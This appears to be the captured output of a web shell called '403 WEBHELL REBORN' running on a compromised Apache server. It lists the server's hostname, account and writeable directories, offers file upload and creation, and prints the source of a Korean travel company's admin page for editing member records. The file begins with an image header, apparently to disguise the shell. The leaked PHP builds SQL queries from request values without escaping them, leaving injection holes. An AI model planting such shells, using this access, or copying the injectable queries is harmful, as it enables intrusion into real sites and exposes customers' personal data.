ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/member/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/member/person_modify.html
<?
if($_GET['tpl'] == 'pop'){
	include "../include/top_iframe.html";
} else {
	include "../include/top.html";
}
include "_common.php";

$data = member_fetch(" and seq='{$seq}' ");
$row = $data[0];

// 파라메터
$param = $href."&mb_seq=$seq";

// 회원등급
$culv=base_codec("MEM","CULV","","N");

//SMS세팅정보
$sms_info = send_new_send();

// 담당자
$admin_arr = member_fetch(" and mb_level <= 10 and del_flag='N' ");

// 유입채널 아이콘
$ins_cnannel_icon = TO_member_get_channel_icon($row['ins_channel']);

// 상담내역
$sql = "SELECT * FROM TB_MEMBER_CONSULT where mb_id = '{$row['mb_id']}'";
if ( $sql_order ) $sql .= " order by {$sql_order}";
else $sql .= " order by con_seq desc ";
$rs=db_query($sql);
$data_consult = db_fetch_all($rs);
$total = count($data_consult);

?>

<div class="contents_wrap">
	<div class="contents_wrap_in">
		<div class="title">개인회원<span class="arrow">&gt;</span><strong>고객정보</strong></div>
		<div class="contents_detail">
			<div id="Content_box">
				<!-- 폼 -->
				<form name="frm_mb_edit" id="frm_mb_edit" method="post">
					<input type="hidden" name="SqlType" value="mb_edit">
					<input type="hidden" name="seq" value="<?=$row['seq']?>">
					<input type="hidden" name="mb_sns_id" value="<?=$row['mb_sns_id']?>">
					<input type="hidden" name="param" id="param" value="<?=$param?>" />

					<div class="member_wrap">
					<? include "person_tab.html"; ?>

					<div class="person_box">
						<div class="person_img">
							<? if($row['mb_gend']=="M") { ?>
							<img src="../image/admin/gender_man.png">
							<? } else { ?>
							<img src="../image/admin/gender_woman.png">
							<? } ?>
						</div>
						<button type="button" class="img_btn"><span>사진첨부</span></button>
					</div>

					<table width="80%" border="0" cellspacing="0" cellpadding="0" class="t_register" summary="개인회원 정보를 수정하실 수 있습니다.">
	 					<caption>개인회원 정보수정</caption>
						<tbody>
						<tr style="border-top:1.5px solid #515151">
							<th width="100" scope="row"><label for="name">고객명</label></th>
							<td width="40%"><input name="mb_nm" id="mb_nm" type="text" value="<?=$row['mb_nm']?>" size="30" class="input_text" hname="이름" required />
								<select name="cu_level" id="cu_level">
									<option value="">==회원등급==</option>
									<?for($i=0;$i<count($culv);$i++){?>
									<option value="<?=$culv[$i]['code']?>" <?=($row['mb_cu_level']==$culv[$i]['code'])?"selected":""?>><?=$culv[$i]['cd_nm']?></option>
									<?}?>
								</select>
								<select name="mb_gend" id="mb_gend" style="width:55px">
									<option value="M" <?=($row['mb_gend']=="M")?"selected":""?>>남자</option>
									<option value="F" <?=($row['mb_gend']=="F")?"selected":""?>>여자</option>
								</select>
							</td>
							<th width="100" scope="row"><label for="nationality">국적</label></th>
							<td>
								<input type="input" name="mb_nat_cd" id="mb_nat_cd" class="input_text" value="<?=$row['mb_nat_cd']?>" style="width:192px">
							</td>
						</tr>
						<tr>
							<th scope="row"><label for="mb_enm1">영문이름</label></th>
							<td>
								성 <input name="mb_enm1" id="mb_enm1" type="text" value="<?=$row['mb_enm1']?>" size="20" class="input_text"/> 이름 <input name="mb_enm2" id="mb_enm2" type="text" value="<?=$row['mb_enm2']?>" size="20" class="input_text"/>
							</td>
							<th scope="row"><label for="email_1">아이디</label></th>
							<td><input name="mb_id" id="mb_id" type="text" value="<?=$row['mb_id']?>" size="30"  class="input_text" style="ime-mode:disabled;" readonly />
							</td>
						</tr>
						<tr>
							<th scope="row"><label for="mb_phone">연락처</label></th>
							<td>
								<input name="mb_phone" id="mb_phone" type="text" value="<?=$row['mb_phone']?>" size="20" class="input_text" style="width:192px"/>&nbsp;
								<span class="input_lo"><input type="checkbox" name="mb_sms_yn" id="mb_sms_yn" value="Y" <?=($row['mb_sms_yn']=="Y")?"checked":""?> ><label for="mb_sms_yn">SMS수신</label></span>
							</td>
							<th scope="row"><label for="mb_birth">생년월일</label></th>
							<td><input name="mb_birth" id="mb_birth" type="text" value="<?=$row['mb_birth']?>" size="20" class="cal_input" onclick="AjaxCal(this,event);" readonly style="width:183px"/></td>
						</tr>
						<tr>
							<th scope="row"><label for="password">비밀번호</label></th>
							<td><input name="mb_pwd" id="mb_pwd" type="password" value="" size="20" maxlength="20" class="input_text" style="width:192px" />&nbsp;<span class="input_lo"><input type="checkbox" name="mb_pwd_change" id="mb_pwd_change" value="Y"><label for="mb_pwd_change">비밀번호변경</label></span></td>
							<th scope="row"><label for="mb_email">이메일</label></th>
							<td>
								<input name="mb_email" id="mb_email" type="text" value="<?=$row['mb_email']?>" size="30" class="input_text"/>&nbsp;
								<span class="input_lo"><input type="checkbox" name="mb_email_yn" id="mb_email_yn" value="Y" <?=($row['mb_email_yn']=="Y")?"checked":""?> ><label for="mb_email_yn">메일수신</label></span>
							</td>
						</tr>
						<tr>
							<th rowspan="2" scope="row"><label for="mb_zipno">주소</label></th>
							<td rowspan="2">우편번호 <input name="mb_zipno" id="mb_zipno" type="text" value="<?=$row['mb_zipno']?>" size="10" class="input_text"  /><!-- &nbsp;<img src="../image/btn/btn_ad_num.gif" alt="우편번호검색" onclick="pop_zipcode('frm_mb_edit','mb_zipno','mb_address1',446,380);" class="v_align" style="cursor:pointer;" />-->
							<br/>
							<input name="mb_address1" id="mb_address1" type="text" value="<?=$row['mb_address1']?>" size="30" class="input_text mt5" placeholder="::기본주소"/>&nbsp;<input name="mb_address2" id="mb_address2" type="text" value="<?=$row['mb_address2']?>" size="30" class="input_text mt5" placeholder="::상세주소"/>
							</td>
							<th style="padding">유입채널</th>
							<td style="height:30px;">
								<?=$ins_cnannel_icon?> <?=$row['ins_channel']?>
							</td>
						</tr>
						<tr>
							<th style="height:30px;">가입일자</th>
							<td>
								<?=$row['ins_dt']?>
							</td>
						</tr>
						</tbody>
					</table>
					</form>

					<ul class="mr_ul">
						<li class="mr5 inblock"><a href="javascript:;" onClick="check_mb_frm();" class="Bbtn red">수정하기</a></li>
					</ul>
				</div>



				<!--2022-01-04 장진혁-->
				<form name="frm_mb_consult" id="frm_mb_consult" action="member_proc.php" method="post">
				<input type="hidden" name="SqlType" value="mb_consult_write">
				<input type="hidden" name="mb_seq" value="<?=$row['seq']?>">
				<input type="hidden" name="mb_id" value="<?=$row['mb_id']?>">
				<table width="91%" border="0" cellspacing="0" cellpadding="0" class="t_register">
					<colgroup>
						<col width="10%" />
						<col width="23%" />
						<col width="10%" />
						<col width="23%" />
						<col width="10%" />
						<col width="24%" />
					</colgroup>
					<tbody>
						<tr style="border-top:2px solid #515151">
							<th class="line_l"><label for="con_dt">상담일시</label></th>
							<td><input type="text" name="con_dt" id="con_dt" class="input_text tlc" style="width:154px;" value="<?=date("Y-m-d H:i:s")?>" readonly></td>
							<th class="line_l"><label for="gubun">상담구분</label></th>
							<td>
								<select name="gubun">
									<option value="">==선택==</option>
									<option value="TEL" selected>전화문의</option>
									<option value="SNS">SNS문의</option>
									<option value="EMAIL">이메일문의</option>
								</select>
							</td>
							<th><label for="agent_corp_nm">담당자</label></th>
							<td>
								<select name="ins_id" id="ins_id" style="width:167px;">
									<option value="">==선택==</option>
									<?
									for($i=0 ; $i < count($admin_arr) ; $i++){
									$arr = $admin_arr[$i];
									?>
									<option value="<?=$arr['mb_id']?>" <?=($arr['mb_id']==$TK_MEMBER[mb_id])?"selected":""?>><?=$arr['mb_nm']?></option>
									<?}?>
								</select>
							</td>
							
						</tr>
						<tr>
							<th><label for="con_content">상담내용</label></th>
							<td colspan="5"><textarea name="con_content" style="width:95%; height:100px;" /></textarea></td>
						</tr>
					</tbody>
				</table>
				<div class="btn555">
					<a class="Bbtn" href="#" onClick="document.forms['frm_mb_consult'].submit();" style="background-color:#555;color:#fff;">상담등록</a>
				</div>

				<h2 class="mt30 mb20"><span class="lo_left"><i class="xi-comment-o" style="font-size:20px; vertical-align:middle;"></i>&nbsp상담내역</span></h2>

				<table border="0" cellspacing="0" cellpadding="0" width="91%" class="t_list pop113">
					<colgroup>
						<col width="40px" />
						<col width="150px" />
						<col width="150px" />
						<col width="" />
						<col width="150px" />
						<col width="100px" />
					</colgroup>
					<thead>
						<tr style="border-top:2px solid #515151">
							<th>No.</th>
							<th>상담일자</th>
							<th>상담구분</th>
							<th>상담내용</th>
							<th>담당자</th>
							<th>-</th>
						</tr>
					</thead>
					<tbody>
						<?
						if(count($data_consult)){
						for($i=0 ; $i < count($data_consult) ; $i++){
							$row_con = $data_consult[$i];
							$num = $total - $i;

							// 상담 구분
							switch($row_con['gubun']){
								case 'TEL' :
									$gubun = "전화문의";
									break;
								case 'SNS' :
									$gubun = "SNS문의";
									break;
								case 'EMAIL' :
									$gubun = "이메일문의";
									break;
								default :
									$gubun = "";
									break;
							}

							// 담당자
							$arr = get_member($row_con['ins_id']);
							$admin_nm = $arr['mb_nm'];

							// 상담 내용
							$con_content = nl2br($row_con['con_content']);
						?>
					<tr>
						<td><?=$num?></td>
						<td><?=$row_con['ins_dt']?></td>
						<td class="tlc"><?=$gubun?></td>
						<td class="tll pl15"><?=$con_content?></td>
						<td class="tlc"><?=$admin_nm?></td>
						<td>
							<? if($TK_MEMBER['mb_id'] == $row_con['ins_id']){ ?>
							<input class="Table_btn" onclick="to_dialog.iframe('person_consult_modify.html?con_seq=<?=$row_con['con_seq']?>','상담 수정','1000','300',true,true,'yes');" type="button" value="수정">&nbsp;
							<input class="Table_btn" onclick="consult_delete('<?=$row_con['con_seq']?>');" type="button" value="삭제">
							<? } else { ?>
							-
							<? } ?>
						</td>
					</tr>
						<?} ?>
						<?} else {?>
					<tr><td colspan="6">등록된 상담내역이 없습니다.</td></tr>
						<?} ?>

					</tbody>
				</table>
				</form>

			</div>
		</div>
	</div>
</div>
<script type="text/javascript">

$(document).ready(function(){
	//
});

// 상담내역 삭제
function consult_delete(seq){
	if(!seq) return;

	if(confirm('삭제후 글을 복원할 수 없습니다. 삭제하시겠습니까?')){
		location.href = "member_proc.php?SqlType=mb_consult_delete&con_seq="+seq+"&<?=$param?>";
	}
}

//회원정보수정
function check_mb_frm()
{
	var f = document.frm_mb_edit;

	var result = to_validation(f);
	if(result == false) return false;
		
	if(!confirm('수정하시겠습니까?'))return false;
		
	ajax_post("ajax_proc","member_proc.php?<?=$_href?>","frm_mb_edit");
}
//2022-01-06 장진혁 
//select box onchange
$(function() {
    $('#mb_gend').on('change', function() {
        var selected_val = $(this).val();
        var row = "";
        
        if (selected_val == "M")
            row = "../image/admin/gender_man.png";
        else if (selected_val == "F")
            row = "../image/admin/gender_woman.png";
 
        row = '<img src="' + row + '">'; 
            
        $('.person_img').html(row);
    }); 
}); 
</script>
<? include "../include/footer.html" ?>


Anon7 - 2021